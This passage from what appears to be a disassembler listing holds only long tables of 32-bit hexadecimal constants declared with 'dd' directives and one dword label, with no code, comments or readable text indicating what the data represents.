		dd 99CEC2D2h, 4DC11888h, 0C2F5FE14h, 89086020h,	0B9222060h
		dd 8D7F73A3h, 194DFCC4h, 71386D14h, 0F2889141h,	2880F0Ch
		dd 0EC488A49h, 197D121Ch, 5ED09333h, 0DA6BFB1Fh, 0A96B6600h
		dd 0B529EA3Ch, 3B78BD5Dh, 45858856h, 0B65A052Ah, 0BBE3EE10h
		dd 4009E824h, 0D49AA7D2h, 927EBA3Eh, 50F10F94h,	97D68430h
		dd 44123B84h, 5A803F64h, 0E639C177h, 732B3867h,	6F86BBBAh
		dd 36301596h, 0DA400897h, 0A93D3C4Fh, 6018F7D7h, 0BF58615Dh
		dd 81407A7Eh, 6BBC0DAh,	0B5FF5BACh, 3109AFD1h, 100BED85h
		dd 5F80DB53h, 0FD6EAF17h, 157ECF2Fh, 0B999013Fh, 0BD89E988h
		dd 0FF23E8CEh, 28667CD0h, 84E4CBE2h, 0DDF950D6h, 1C1D4345h
		dd 0F72F0132h, 920B2437h, 0B164C1h, 0B908C243h,	11F86549h
		dd 0B503800h, 1CA13CCEh, 5F895E0Fh, 81660266h, 0B3823AC7h
		dd 81449509h, 549CF18Eh, 0C7AA6C45h, 0A4A7A620h, 74702F00h
		dd 68854999h, 0B67C1663h, 1ACF08F6h, 6FB26092h,	44A0E400h
		dd 89E25E7Ch, 0D9299100h, 0C59E90CDh, 160200ECh, 816198BCh
		dd 0C9E62434h, 0A07CB92Eh, 231B2908h, 0DE8224E6h, 0EE108601h
		dd 0AB183E06h, 22D55C89h, 0E4820814h, 0E84E105Eh, 8D24BB08h
		dd 5A5042C2h, 74DAF288h, 33001846h, 0E0C819B7h,	1090CE8Ah
		dd 46BD09AAh, 2AA9D100h, 3CBFA1F1h, 88495803h, 84DD098h
		dd 0C3BEAFB1h, 7A0AE22h, 60490EEFh, 8A568000h, 0B368EEh
		dd 528B5CDFh, 405ABB60h, 0E0578427h, 4C5F6102h,	8605E981h
		dd 4848C28Dh, 457215DBh, 6019C44Eh, 25EC9734h, 306074F4h
		dd 0DAA5142Dh, 0F7803429h, 4A8C12A3h, 898B006Ah, 27F6C4A8h
		dd 0E800465Bh, 0C5FEF7B3h, 289B15BAh, 0BBE33FB7h, 0E18271A2h
		dd 9DDF303Ch, 0E5040F41h, 0CA81AF20h, 7C9015B3h, 6C8BA92Eh
		dd 60F26DF7h, 3F3836B5h, 802CC239h, 55C1F068h, 0B98F0FEBh
		dd 9B8245Eh, 0B7826160h, 9F625951h, 0B173A8A3h,	4A6030FAh
		dd 0F6BDAFF4h, 3C374992h, 0D47FACBDh, 0F173D11Fh, 130D8C7h
		dd 0E6F4BD47h, 89732947h, 3C68B72Fh, 87814D7Eh,	7AE6800Ah
		dd 32E2179Bh, 0C8D22139h, 19FEBD35h, 0A6BE5648h, 2A4D0993h
		dd 494A5794h, 9F80639Bh, 30526748h, 6400D675h, 0EF1704B9h
		dd 5696802h, 8ABDB7C8h,	80A641F5h, 4A31A2E1h, 3FEF5FA2h
		dd 0B48400ACh, 626CAF55h, 0BF8802B0h, 2F8CA129h, 495BA1B2h
		dd 2B8D470h, 726BB16Fh,	0D783F99Fh, 0B15831BDh,	6C2C14F7h
		dd 952B04C9h, 6188082Dh, 62151B9h, 0F24C009h, 6A03002Bh
		dd 6CEA8004h, 5E12A968h, 0FF41CAF4h, 350BB157h,	85083E37h
		dd 162C0E15h, 7A30026Dh, 5EBA156h, 0CAA7B910h, 5A756102h
		dd 0C4B8B250h, 0ACA69EFDh, 0CA8A04C6h, 914E8959h, 8B09026Ch
		dd 1BDB58CBh, 7A2B5F70h, 1F5D0C0Bh, 0DDB892EDh,	95B02195h
		dd 0ED7F3055h, 466ECD3h, 725F940Ah, 3D90C16Bh, 765E1619h
		dd 0DE37941Ch, 0C4EE3E06h, 0EDB6216Ch, 0BF0F1929h, 0E62DC7F9h
		dd 0C59F2813h, 39180A29h, 801545E0h, 111EDE68h,	0FBD5832Eh
		dd 0EE2205ECh, 7C2E7CD2h, 38001C23h, 66805B19h,	0CE711403h
		dd 9013D48Ah, 0A3A352h,	0A12149BAh, 9D505902h, 0E04EF010h
		dd 74CB600h, 8D39F0Ch, 95291790h, 0B02D2CDh, 0EDE0904Dh
		dd 30D329BBh, 6C90DC12h, 952A2351h, 5F48F5ADh, 0A7BB29C2h
		dd 4228E17h, 196A6152h,	50291CEBh, 0F88B4B60h, 0F78081D1h
		dd 653C7276h, 1794E47Dh, 306159E0h, 473DEEA7h, 48A2FC00h
		dd 0CFD71EB0h, 0CD833CE3h, 918B61A5h, 98C5B8CDh, 455DBAECh
		dd 197D950Bh, 1E0246FFh, 80A87921h, 0DAED976Bh,	8D1AD8D9h
		dd 13F0C5B5h, 88F1F315h, 29313DEh, 8CCBD884h, 0F29010E8h
		dd 0A903E1B8h, 0B4DD571Ah, 15CA80Ch, 3FAF12FEh,	0E92E04F3h
		dd 4FED1003h, 0DB5F6D20h, 9E1FC4Fh, 893F9A28h, 15BAE8Ah
		dd 8A5150C9h, 5F3039F0h, 4796BABh, 0CD5A8F0h, 1D2173BCh
		dd 1A181CF1h, 2A458E00h, 930C5B65h, 7144B84Fh, 0B529800Dh
		dd 13A0A94Dh, 6A0EC00Bh, 7F9E1647h, 0E1970F80h,	0B35C6C0Eh
		dd 6E9A456Dh, 46015E6Eh, 2F96F914h, 6BF73136h, 74451220h
		dd 3533011Ch, 942126E7h, 19F17FCCh, 2B15DB01h, 0EEB56207h
		dd 7D7DCFC6h, 5DBD19C4h, 3F469FA4h, 71A53120h, 607635CAh
		dd 0C8404CDEh, 8E82BE00h, 8F8592FDh, 5FC6890h, 960DC82h
		dd 0E2B74E6h, 0F9C9746Dh, 0FAE3458Bh, 1A51B8F2h, 81017E32h
		dd 0B51244E9h, 11E23871h, 0F8442229h, 9E465E84h, 14FFC309h
		dd 19A390A0h, 1FF62FECh, 606092F7h, 50C5CFBEh, 0BF07DE29h
		dd 4F601F74h, 0E057875Fh, 95891333h, 5996C04Dh,	20707E80h
		dd 31F1A0CDh, 84915643h, 27BF6000h, 0D58A889h, 0E4D32AB1h
		dd 58DCA0BEh, 0C84A6BFDh, 0EA4C85C1h, 31828F9Eh, 1928A26Eh
		dd 150E5618h, 0E95A8011h, 0BD014E27h, 12B60F62h, 0FE60E6A4h
		dd 0B6AAB912h, 4540B001h, 708248ECh, 0CF14FD19h, 4A542FB5h
		dd 0ADBA0840h, 125369E3h, 62F75550h, 267D6480h,	42D8B502h
		dd 0DC265E9Bh, 505E2206h, 9597EE8Ah, 9A01FC37h,	0B531B6DFh
		dd 0B27EEAC6h, 0CB6684h, 2B67E54h, 0CDB17908h, 0D88BF801h
		dd 0C0B46056h, 7100F233h, 0F97A261Eh, 5F13A90Ch, 22045961h
		dd 580B2279h, 7D704AF3h, 81F95BD7h, 153384CBh, 0E90931FCh
		dd 0A2F3057Bh, 7FA0A8D0h, 93DD1D58h, 473D6AEh, 91958D0Fh
		dd 89388054h, 50CB856Ch, 0A0C6A66Fh, 52B1404h, 59FC6FEEh
		dd 765C14E9h, 0AB54BD39h, 8448505Fh, 570540E5h,	59715171h
		dd 9D933BFAh, 0FE43669Ah, 0AA06DCD0h, 79FDDF27h, 1DA12870h
		dd 0AB5C4A62h, 14297288h, 0F04D9BDh, 0A9E22F31h, 0F6FB05FFh
		dd 0E030B3CCh, 2C1A7FD2h, 80F5638h, 40122365h, 6D00F16Fh
		dd 9E75C9C6h, 0A4AD180h, 2620A68Dh, 482D4E25h, 8461F21Dh
		dd 0FCC201B7h, 0FB16DE3Ah, 68D011F3h, 17DA21B9h, 3160310Fh
		dd 0E8DC76E8h, 2C1F7748h, 0EDC098A2h, 33BE0284h, 82B80666h
		dd 6C5A61ADh, 8673D1A2h, 39373070h, 0BF170B3Fh,	4E108903h
		dd 0C01A880Fh, 0C7B2933h, 4CFBB30Bh, 0EF8C160h,	699D8900h
		dd 611C5092h, 0B7A75090h, 156F005Dh, 0D6806B0Fh, 3A675858h
		dd 77F026F1h, 0FEAABF00h
		dd 175069F8h, 88870F60h, 0AFA6E173h, 44C58600h,	956F7C83h
		dd 695102D0h, 9FCEEC31h, 36969752h, 5C292313h, 27118C02h
		dd 79FA508Ah, 8D006D53h, 3EF9ACC3h, 13F6D829h, 30AE9993h
		dd 95B00573h, 37043B70h, 5F977D0Fh, 0F6D860C2h,	0A004DC00h
		dd 58563BD3h, 64CE55C2h, 0F40E5860h, 0D93AE1C0h, 5DD419E9h
		dd 6EC10937h, 642747C6h, 37A0601Bh, 7F7E00AFh, 8A8C9461h
		dd 0FB2E8BF0h, 0F6DE9E58h, 0C85C0013h, 275809CDh, 572504DDh
		dd 61094A66h, 1E051F1Fh, 2CD0DD1Bh, 24E10875h, 2D8D3105h
		dd 1E6A42D1h, 6DF6E2Eh,	1909CC8Eh, 2A212270h, 5CB86CBh
		dd 5CFDD585h, 77279EBCh, 0B264B2h, 286687C8h, 101CA3A9h
		dd 0EBD82405h, 3AB4E860h, 6E201CD0h, 5C00BAA0h,	7D87E547h
		dd 0C700A55Fh, 0A1622F02h, 5CF78B8Ah, 3841ED5Eh, 0AE21202Fh
		dd 85000523h, 4748FF78h, 163C181h, 512019DFh, 2661A5D9h
		dd 8D8B066Ah, 0A2F601CDh, 80D149h, 49857C21h, 640071F9h
		dd 69185C83h, 219DDDAh,	2DCBF7D6h, 3F4458FCh, 95294180h
		dd 2481F54Eh, 427ED9E9h, 26118D83h, 880F5001h, 2636D9D6h
		dd 10C607Dh, 7F164C0Eh,	40C2592Fh, 64776D5Fh, 0D34C601Ah
		dd 94AE0527h, 20E8E113h, 661CD9C9h, 88906707h, 0E610D686h
		dd 3959F9FFh, 5AF8509h,	0E4EA3D2Bh, 0E4DC70DEh,	0A48E028Bh
		dd 0A045BC39h, 845CC50h, 5BB75820h, 447A84D0h, 0AB1BE2D0h
		dd 14232D3Bh, 0C9FC9D09h, 0BF2AAD21h, 5900647Ah, 6612F17Dh
		dd 3C2FB0BFh, 0C0284D61h, 5E600F84h, 0CC203E17h, 0B1044808h
		dd 683C6E5Ah, 0A601C831h, 2171081Eh, 0BFB3E90Bh, 98350061h
		dd 60ECD01Ah, 0B4404B9Eh, 26F904h, 21208993h, 8A60E28Eh
		dd 0C01AD058h, 96864838h, 0AB2C00EEh, 0E19131D4h, 0DB3417C0h
		dd 0F68C0261h, 89A3F73h, 76C21983h, 8D892957h, 0B5C7831h
		dd 0BF1CC681h, 0BD420421h, 20A2F885h, 61E91615h, 0A0EDA7F8h
		dd 94C9D8Eh, 8B30FDB4h,	2B80BE89h, 0DA9168CBh, 0F77CD63Dh
		dd 0B03C59BCh, 0E280125Ah, 2595B8A2h, 0C75514C9h, 6214C4BDh
		dd 3517E184h, 9EFFB974h, 1E8B4A13h, 59DF7FD6h, 0C3452A86h
		dd 12180D53h, 1A228A0Fh, 0BF17C0F9h, 5AFD4CABh,	0EAB79777h
		dd 55F67201h, 5120DCB9h, 0CD744BDEh, 0B8B07D69h, 9FEC0E10h
		dd 0A10275F3h, 0A3794038h, 2B5B7A00h, 711B67A7h, 0F9C2C239h
		dd 47C0AFF3h, 3216B4BAh, 0E50A5650h, 8726AC6Ah,	5552FA16h
		dd 0C85F97E3h, 0BB00EF55h, 0DE5E8023h, 34709E2h, 0A6D23F48h
		dd 90E9C2D4h, 0E6207F60h, 34D7658h, 2A41A9C6h, 19708B0Fh
		dd 0AFB85A01h, 61599E3Ah, 2D6C660h, 0A6A8BF90h,	0D2825688h
		dd 690831ADh, 69A9BE80h, 1D051F9h, 0C2F707DDh, 3A42DBB4h
		dd 0B9858402h, 13F5082Fh, 0A287A7C8h, 0C2BD3575h, 808BDAD3h
		dd 76FF8613h, 527E04EAh, 9B5FF58Ah, 0F8D6C00Eh,	0AE73268h
		dd 0D41592ADh, 0EED01AEDh, 0D6935655h, 58F2F4BFh, 294E4585h
		dd 4C059B13h, 0F1B0D1BDh, 4AC2585Fh, 55B5310Bh,	9D0985A0h
		dd 5D9518E1h, 0A8913891h, 0D203A1Dh, 0A8CD971Ch, 8D6028C3h
		dd 2058F186h, 61481BE1h, 9A913EEh, 3D2DA4A2h, 0C0BA24E1h
		dd 0F01B0E10h, 0B14DEA81h, 60FEC283h, 8331F548h, 0A238FFCFh
		dd 50812F9Eh, 0D7F2A87Fh, 0E8E6CCEFh, 2B5805A0h, 0F01AC264h
		dd 8166ABC0h, 5A4D2538h, 1BB465Dh, 33C50B7h, 0D93A81D0h
		dd 0D519AF45h, 0AC2D8326h, 0D95AD0B2h, 10C86093h, 0D24F9D0h
		dd 4F3C4003h, 0D1C229DFh, 0C4FA3CB7h, 619A912h,	0C35BF805h
		dd 0D1030C1Ch, 2B21201Bh, 2A08DB4Dh, 0BF834912h, 0C65206D4h
		dd 0FF82F1h, 0A98110CFh, 514A3B0h, 0C03359B5h, 32F7FEC3h
		dd 0DEBF2422h, 0DD7AC99Ch, 56D59A95h, 915A69AEh, 66F008D2h
		dd 0D3EBCB05h, 0B12E8FDh, 36330087h, 6AC8539Eh,	0CC260E81h
		dd 1D114889h, 12CB6028h, 8953F8D1h, 7831FC7Eh, 0C8ECCB00h
		dd 50C17CFDh, 9FB204FAh, 0BBF7B539h, 890F4503h,	0FC330201h
		dd 5A43C781h, 33C1ABA1h, 13472BF6h, 0BB60370Ch,	17817F09h
		dd 18C0A7E9h, 77E87C5Eh, 0F104117Bh, 670B925Ch,	98A6ECABh
		dd 8D11C18h, 14E96F39h,	0D41E00BBh, 0D0022EFAh,	58CB03A4h
		dd 1FA5A7C9h, 0F8BD8790h, 51A83900h, 8F6FDF80h,	0FC370004h
		dd 0EE81FD8Ah, 0C2244606h, 89027D64h, 0E13350A6h, 19890229h
		dd 0A4488F0Fh, 2B90F960h, 8161CB01h, 0FFA670FEh, 8F6241C6h
		dd 0D10F4622h, 67E3E9C7h, 17F8014Fh, 370023E7h,	438ABFDBh
		dd 0CC82EB3Ch, 0C3211909h, 78DB2E00h, 4BBB103Eh, 7E911DD5h
		dd 0FBEE4068h, 3C5CB772h, 863C05EAh, 804E3FD8h,	0F33498C5h
		dd 0F6E71Dh, 63A49B07h,	3ED2BF5h, 0B7211301h, 9FD885D0h
		dd 718AA20h, 51848AE7h,	954E6E01h, 2E523AC0h, 0AE037CEDh
		dd 5C80BF63h, 0A2172F9h, 6B2F14DBh, 532B7820h, 6AF8C88Ch
		dd 0C2DB36C0h, 223B468Ah, 2DC0001Eh, 6F0D1BDBh,	9C1CD7B8h
		dd 7EC0EEB2h, 3E714A8h,	541600FFh, 846352C2h, 15007D35h
		dd 198F3EE8h, 0C0E4D76Ch, 0C1BF88F0h, 0F77234E1h, 7D04F10h
		dd 606D9064h, 23C5DB39h, 1B11138Ah, 0DB30077Dh,	41CE9EE6h
		dd 800A6AFAh, 36E20348h, 1EEEC1D8h, 40A0B8B1h, 0D87C4C6h
		dd 8B006C2Ah, 17ECA984h, 18E77201h, 0C11BA6D3h,	4073BF37h
		dd 27AB911Eh, 23099959h, 0B7572180h, 2FA5FC40h,	8E654D00h
		dd 0CD9B6056h, 0A26C1841h, 18252810h, 0FE6BB81Bh, 60DFC0A8h
		dd 87DB052Ah, 19080B54h, 80F308DDh, 2A694021h, 249D87E6h
		dd 1F141894h, 0F02E06D1h, 170078EAh, 63BDD907h,	19E2E070h
		dd 8C8681Bh, 0AA2180FEh, 0F562BDD0h, 698F0AD4h,	80940B50h
		dd 722C875Dh, 0F90F9481h, 863A3863h, 0A21066Ah,	0EA715488h
		dd 6CF00688h, 7009180Ch, 1308BFh, 0E89D8864h, 4F4CA715h
		dd 494880D1h, 1465F799h, 0F806D84Fh, 1BA2BC53h,	0ACC4030h
		dd 6AE3AFEFh, 799F40A0h, 0DA00859Eh, 53992562h,	4370CAh
		dd 5B1B21B6h, 17BA729Dh, 2E78C8C4h, 0FD233Eh, 316DDFE6h
		dd 29003D99h, 0DCC77C7Ah, 294F0F85h, 0D16C026Ch, 687181Ah
		dd 717491E3h, 8C20A863h, 55680006h, 0E0F1EF8Ah,	0EE60CEA6h
		dd 0B7A49290h, 0ED2C2401h, 0E9F90AF4h, 749302E0h, 0B440F4C3h
		dd 1F487A6Bh, 0C3BC8848h, 87992A64h, 88F61874h,	2A1D6D44h
		dd 49801892h, 0EB051F48h, 2989100Ch, 50680CE7h,	0DAC10Ah
		dd 39C9A5D1h, 0F7E6F3A1h, 5061C812h, 539D3020h,	0A2DF3C8Fh
		dd 0CF6C9006h, 213B80Ah, 50433974h, 4004B0F0h, 8C32CC30h
		dd 67BDDD0Eh, 66E30870h, 0AE043101h, 870CBDD4h,	0C515F580h
		dd 940A1802h, 0BEE841EDh, 641DC824h, 1113D842h,	9DE1831h
		dd 0F87066BDh, 0AD00001Ch, 45D7BDD5h, 0A09D0A63h, 20BEEA30h
		dd 0CE1F33B0h, 32E038C4h, 0E7DC644Fh, 1544B467h, 0FA3DDE60h
		dd 68A07D1Dh, 0CB209C28h, 0E350DD0Bh, 0C4DB3C01h, 58632B8Ah
		dd 0DB33C680h, 0F64C52B7h, 0C2047391h, 0E51FA413h, 7FE31480h
		dd 7CF303D0h, 0C99C3504h, 5068F0E9h, 0F88770E0h, 21E03A60h
		dd 0FF6C6593h, 2EF21424h, 2930BDEh, 38CA2F4Bh, 1EB38BC0h
		dd 0E0B0170Bh, 558C00A1h, 3EC0F42Ch, 38E0326Bh,	1FD0C4E8h
		dd 8F1094A0h, 0D0A4A873h, 29348021h, 18027104h,	71A500DAh
		dd 7060A225h, 100C6AB1h, 60177C9Fh, 0FCF03A38h,	7400306Ah
		dd 3B7AFE46h, 31058A26h, 1FAF784h, 1D8C32A0h, 9164200Bh
		dd 50EB6C38h, 0A7187BD4h
		dd 9840ECE6h, 1B8E0B35h, 40032182h, 30240915h, 8A4024F1h
		dd 19DA638h, 0B85D635h,	2204444Fh, 16E2320h, 8AC6DB3Ah
		dd 0F84E1Bh, 60DB31C4h,	1CE846C2h, 42684211h, 3BACB770h
		dd 913A8480h, 0DE4D6784h, 18081014h, 4665360Fh,	7B57AFC0h
		dd 24B0F3C2h, 0F321444h, 9A287DF9h, 0E527A960h,	0F4014434h
		dd 0B819408h, 804038DBh, 912BFF57h, 181AD954h, 5F17579h
		dd 0A72E0D12h, 71A04246h, 0D4CCD0E7h, 3640C204h, 2262C391h
		dd 40BA5A20h, 0E01A1C60h, 269E9D08h, 13AD0594h,	0C8FC8E18h
		dd 0E3D2C025h, 0E0008DE5h, 0EB2445F3h, 288F72ACh, 3DAC3470h
		dd 5850FEA7h, 0C1058CD1h, 0BB913540h, 593028h, 7DA940B9h
		dd 4D707F6Eh, 8A197409h, 0F0C002D6h, 0E4040938h, 2A6260BAh
		dd 648723D9h, 3E0FF211h, 0CFAE2A6Bh, 98B3CCA6h,	2E647C85h
		dd 0F1F3167h, 0FC48256Bh, 1B003066h, 9D17975Eh,	24A5885Ch
		dd 13DC2064h, 8FC25A1h,	35C06900h, 468AC1DBh, 0FA1F2233h
		dd 3FDB002Ch, 7C636B07h, 0DA1DC3B8h, 5D8B8B9Ah,	2A7020F4h
		dd 61CD5489h, 4FD910EDh, 888C4E08h, 0D19CC3F4h,	808EE880h
		dd 0B70214Dh, 17EA490Fh, 801F91E0h, 7B540F75h, 19B2021Ah
		dd 0CC844C9Ch, 4B5C6541h, 0C1F88850h, 0CC2CEF31h, 6801B655h
		dd 0FC9BABDh, 91C43913h, 0C8284C03h, 747D6002h,	6C47155Dh
		dd 806524C4h, 0D568EA5Ch, 1DF90C00h, 0BE519280h, 7D4304A5h
		dd 0C2953633h, 0EC42DFA2h, 1B11EC1Dh, 7CA0C80h,	6C242987h
		dd 0EE832405h, 0E8E5DAC7h, 681D279h, 8BF609D8h,	0A322101h
		dd 6017A99Ch, 3216F578h, 0C590967h, 2100BC63h, 0F176687Dh
		dd 0C27049h, 2C9CC602h,	977484D1h, 0A0915476h, 6580BD11h
		dd 8C87DE2Ah, 41FB448Ch, 852A6E0Eh, 2E7E8031h, 4F97934h
		dd 60958851h, 7078812Bh, 0BE58911Ah, 0DD2A6680h, 448C8487h
		dd 6F0142F7h, 0A1FD8C2Ah, 5AC89288h, 5E8096EBh,	0F77E1F46h
		dd 0CBEC28E5h, 9AA7D90h, 0F525748Fh, 9C457062h,	5E6025E4h
		dd 7400BEFCh, 4FB61FEDh, 25103377h, 8A2D487h, 8381CD22h
		dd 4207A991h, 6130B980h, 87DA102Ah, 6A3DE06Ch, 992072Ah
		dd 40F8BB27h, 8C8960CFh, 0B850DFE5h, 74A5738h, 0EC557044h
		dd 0EAC9910Fh, 0C665B04Dh, 0CAFCCA00h, 9DD7ED3h, 1C3D8B74h
		dd 2E20465h, 8DE01B04h,	0F5E227B9h, 0B0598132h,	0DA8EA2Bh
		dd 0DC32A9E9h, 93C0E8F7h, 0B11FA6D6h, 15CA000Ch, 2E19C16Eh
		dd 0C6D38612h, 53182C14h, 3019A2C4h, 731EA8D3h,	62D9F166h
		dd 242C43B8h, 0D0EF6B15h, 0CF4C9D02h, 0DCF8C96Dh, 6C836F00h
		dd 3E32BA5Eh, 0C43853B9h, 543014E2h, 3497098Ah,	7C2B7172h
		dd 18919097h, 129D69Eh,	8F0E24F7h, 90C460D7h, 128C3240h
		dd 181AA0ADh, 291418D0h, 0E0598282h, 91DC4C09h,	18FC71CCh
		dd 0C4293C88h, 1A494A4h, 0F16FD63Fh, 9B2024F5h,	0A2CABC00h
		dd 0BFFD8693h, 93C65C84h, 0F1B8201Ah, 1844E8C7h, 0E5756660h
		dd 6D2B460Eh, 0DFA50515h, 8EFA6BC0h, 0B10D7074h, 85D41100h
		dd 0F8C240C6h, 44F84CE3h, 0BE045E21h, 0A213FE40h, 7275C7C0h
		dd 0A1F0904Eh, 0DF18348Ch, 7065BD1Eh, 0F9016A5h, 0F7BDD6ACh
		dd 984DE760h, 6C995038h, 0E0181EF9h, 0CEB3C901h, 4628D616h
		dd 249442F4h, 0A9C439F1h, 3FCD0DCh, 0D4610086h,	2ADAB082h
		dd 70F827B3h, 0C791061h, 8C501E7Dh, 588F6C90h, 688078F8h
		dd 2A50BF72h, 0B420A094h, 9B78D893h, 4F7B0ED9h,	45010F69h
		dd 68830D57h, 0E46C89A0h, 915C3ECCh, 1054595Ah,	0C4360D79h
		dd 5129E3F0h, 6C2F2E13h, 0A0A4A0D3h, 1301A2h, 4296683Ah
		dd 0AF758C57h, 0BFA8DB1Dh, 0ABC0C480h, 727E1Fh,	0C8E1865Ah
		dd 0DCAD99DAh, 5A83348h, 23ECB6F2h, 28BE900Dh, 96DD85C8h
		dd 0FB465EB4h, 8DC9F24h, 90BD1688h, 587C2178h, 0F5E8E444h
		dd 0B964008Ch, 0D91E60D4h, 24B950F7h, 0E0C4310Eh, 89FCF474h
		dd 47780A37h, 10F86ABAh, 8CFF0B48h, 41B86EF0h, 5790841Ah
		dd 1C88EB40h, 8ECF4043h, 9EB97C00h, 3A070116h, 72365BD9h
		dd 56052FFCh, 465A2038h, 0A2F0539Bh, 3ECC302Dh,	618F7039h
		dd 0F3970AD1h, 88F6B851h, 2E70B872h, 436C989Dh,	0E48D1487h
		dd 78F07464h, 7EC81752h, 0B44F1A40h, 0D2EC8004h, 0DE8EB45Eh
		dd 3FCE890Fh, 406F8887h, 8017C88h, 0B767A0A0h, 142CD324h
		dd 490A5D01h, 802985F6h, 0C12BA719h, 5F2AEC36h,	6E0D5200h
		dd 1AA9C85Bh, 73E400ACh, 0DDCA7670h, 62583644h,	3C031E3Ch
		dd 3A9097FAh, 648EF824h, 30040184h, 9DA90D99h, 6260A250h
		dd 2CBF1A48h, 530B22Eh,	0F73E0E9Dh, 7F302E1Dh, 67053A8Ch
		dd 25FF4F9h, 6342B35Eh,	0BC8EBF81h, 3374464h, 0F8F12Fh
		dd 0B3DE6059h, 0B92CF5FAh, 93785900h, 9FA75A40h, 0DA0F2A89h
		dd 2F90C880h, 60BDDCC0h, 68C85C70h, 0BDD3A7E0h,	3B081D00h
		dd 0DFA6A372h, 5473F875h, 916BDC12h, 30E50110h,	0CEB97AF3h
		dd 50B48861h, 0F67836B4h, 0C3B6BC00h, 81667B92h, 485098C8h
		dd 2CBC5871h, 74AE488Ch, 0ED8C2A04h, 778C0F0h, 0F44FF37Ch
		dd 1E232C3Bh, 5A0A9A00h, 46F9CAh, 0D3B88127h, 8F66C709h
		dd 81048C39h, 84910115h, 689DF177h, 3758632h, 38008018h
		dd 0D8FB59D1h, 9862FEC2h, 2ACC2010h, 6C2617E0h,	0F0A648DEh
		dd 0DD7300DEh, 0E2F9F94h, 72765934h, 641ABC24h,	0A5A200BAh
		dd 93B849C8h, 7CC70721h, 50A82F3Bh, 0F9F1C288h,	1B2DF8A8h
		dd 0C874E3F6h, 0EA791300h, 0E6649799h, 30B005BCh, 420B451h
		dd 0A4083BA8h, 126171B0h, 0FA4F1E8h, 44F488Ch, 7F3FDEA1h
		dd 478C9F5h, 330CB770h,	3E0A8488h, 0A84CF296h, 7685C0DDh
		dd 8EA39840h, 4CE8D800h, 20E3B73Eh, 5BA617C7h, 222490A8h
		dd 84FEE243h, 90AEA100h, 6648085h, 778104C6h, 8FC8410Dh
		dd 3FBC46Ch, 80F68F30h,	303D04B1h, 9B07916h, 0BBC00A8h
		dd 7443949Ah, 8A01F088h, 5C8901A4h, 3C20EEA9h, 7CCB1A67h
		dd 0EC7340D4h, 0F164D0h, 0B26BCD46h, 0B4694CD3h, 32019A01h
		dd 0E48ACB63h, 0F4163043h, 8298C8h, 0CCDEB5B2h,	0EF6C071Bh
		dd 0C03BDD4Eh, 6A021423h, 4051DEA7h, 8016B0DCh,	0B8BC0725h
		dd 5C300DCh, 49A2DACCh,	0CD169A28h, 8040778h, 34F87F6h
		dd 290CAD8Eh, 7E445018h, 91541232h, 69380104h, 0CD314D67h
		dd 0FE90E797h, 0B50188D7h, 5C30D8FCh, 0C440F2E9h, 220CC844h
		dd 0C204E47Eh, 6AB6EFF7h, 9D173CD0h, 0C5861D4Ch, 4430AD9Ch
		dd 0C95D8C8Ah, 2893039Ch, 0D18860Dh, 84FD849h, 2EF138h
		dd 0A9D74CDh, 0E3A3A44Bh, 0C7833EB8h, 0F6438493h, 0A6821000h
		dd 0CF7383E7h, 6B381A92h, 0CC805103h, 9D86407Bh, 5823FC2Eh
		dd 0D87E5A80h, 5D548AEEh, 31062005h, 50EAD37Ch,	3FBF803Dh
		dd 9B0A9322h, 84F6F821h, 57C7072h, 3C6B46C7h, 42080118h
		dd 81018C89h, 81469351h, 0C04319A0h, 0A7292748h, 336A2420h
		dd 0AE011C60h, 9B39CEB2h, 44747B8Ch, 9A0A187Dh,	5C7279E9h
		dd 0FC22F0B0h, 0B60E4423h, 8078923Ch, 0CD52F0BFh, 19FCED7h
		dd 30E237F6h, 8AFE8F6Ch, 982DD850h, 58C1B717h, 0B848A7DCh
		dd 679C0994h, 0E49D2FBFh, 71801591h, 0A4930F1Dh, 88E3A724h
		dd 0EB7C0640h, 6A10C6EFh, 77007102h, 681670F9h,	12339B89h
		dd 5FDBD84h, 0F07EC104h, 9C15004h, 0FC5651E7h, 4C7C1AC8h
		dd 0B010C078h, 0F97E094Ch, 0E4E8C563h, 2D72601Fh, 0EE280074h
		dd 0F8D71433h, 0EF0F7FE5h
dword_50DC48	dd 0F39ADAD3h, 2C23282Fh, 9C02C517h, 6718577Ch,	6020E44Ch
		dd 70C8D98Ah, 687E0EC5h, 0CDE39D5Dh, 12B887BCh,	68C03052h
		dd 1AB53A7Bh, 14B04C42h, 0F186533Dh, 3892F6EBh,	8A724906h
		dd 1EF98BF4h, 8F03520Ch, 0A0D4E897h, 0C888CB4Ah, 0A94DC0FBh
		dd 3E0FEC53h, 819137EBh, 1F98C4FEh, 1282D424h, 5A1F192h
		dd 0A3ED5584h, 3023B278h, 0AF1DB94Fh, 0B682A0CAh, 429D87EFh
		dd 0C5C49A2h, 0DDA55410h, 45005770h, 9688FC82h,	1B427268h
		dd 9EA2086h, 94A643C2h,	0BF481041h, 8C1BE874h, 0E0D21C00h
		dd 5C8AC07Dh, 0E0F661B1h, 0E08105CFh, 449610B5h, 2445F828h
		dd 23F42F2Ah, 7D3D00F7h, 56DBFFDDh, 80BC49DDh, 955453A2h
		dd 904BFB74h, 5C0817E4h, 4A0C501h, 5DD5FC0h, 0BC3AA07Ch
		dd 0B4002423h, 80D0A60h, 35940012h, 5CA67E6Dh, 0A41A9B23h
		dd 0D860E0F3h, 8712004h, 9588B90Bh, 10C08263h, 986B103Eh
		dd 32EBC49Ah, 4BA10300h, 98DB884Eh, 34A28392h, 30CE2B9Bh
		dd 6D16FE20h, 18C214EDh, 5854582Dh, 30239078h, 61BDDB01h
		dd 0A828D070h, 0BDD2A8B0h, 1D42D700h, 306E6636h, 7C480AEDh
		dd 0A40C03h, 60E18AE5h,	40B6A084h, 0F20D00DEh, 0B1F4CC7Eh
		dd 1624F149h, 0E5413074h, 4AE90285h, 0B6B59C43h, 0D1A0B118h
		dd 0C118FDh, 9320E880h,	71848940h, 100022E1h, 303EE413h
		dd 0CE029917h, 0C021C840h, 72B89010h, 0A2E8D900h, 0C511E0ABh
		dd 6A2F1293h, 9C44D04Fh, 0FC009625h, 0CD7AED5Bh, 119783Fh
		dd 0BE4B24F8h, 0E4150DA5h, 900D8C8h, 2EDBC149h,	9B944193h
		dd 43267840h, 2F35321Ch, 0AEE46500h, 97D10185h,	5880A8B7h
		dd 3C95BB4Eh, 5AC90442h, 90ED7C89h, 400F70A8h, 801448h
		dd 0BE969FC3h, 1F3BD382h, 24253D3Eh, 4467444h, 0B7722E03h
		dd 74A80AF0h, 0E04DB89h, 0F30D7C8Bh, 9E2228C7h,	94D4E059h
